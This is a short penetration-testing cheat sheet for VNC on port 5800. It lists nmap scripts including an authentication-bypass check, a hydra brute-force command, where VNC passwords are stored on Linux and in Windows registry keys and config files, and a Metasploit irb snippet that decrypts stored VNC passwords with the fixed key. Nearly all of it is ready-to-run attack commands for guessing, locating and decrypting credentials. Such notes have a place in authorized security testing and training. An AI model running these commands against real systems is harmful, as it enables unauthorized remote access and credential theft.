# VNC - 5800

### List NSE scripts&#xD;

```
ls /usr/share/nmap/scripts/ | grep vnc
```

#### Scans <a href="#scans-1" id="scans-1"></a>

```
nmap -sV --script vnc-info,realvnc-auth-bypass,vnc-title -v -p <PORT> <IP>
```

#### Brute force <a href="#brute-force-8" id="brute-force-8"></a>

```
hydra -L <USERS_LIST> –P <PASSWORDS_LIST> -s <PORT> <IP> vnc -u -vV
```

#### Connect <a href="#connect-1" id="connect-1"></a>

```
vncviewer <IP>:<PORT>
```

#### Found VNC password <a href="#found-vnc-password" id="found-vnc-password"></a>

**Linux**

```
Default password is stored in: ~/.vnc/passwd
```

**Windows**

```
# RealVNC
HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\vncserver

# TightVNC
HKEY_CURRENT_USER\Software\TightVNC\Server

# TigerVNC
HKEY_LOCAL_USER\Software\TigerVNC\WinVNC4

# UltraVNC
C:\Program Files\UltraVNC\ultravnc.ini
```

#### Decrypt VNC password <a href="#decrypt-vnc-password" id="decrypt-vnc-password"></a>

```
msfconsole
irb
fixedkey = "\x17\x52\x6b\x06\x23\x4e\x58\x07"
require 'rex/proto/rfb'
Rex::Proto::RFB::Cipher.decrypt ["2151D3722874AD0C"].pack('H*'), fixedkey
/dev/nul
```
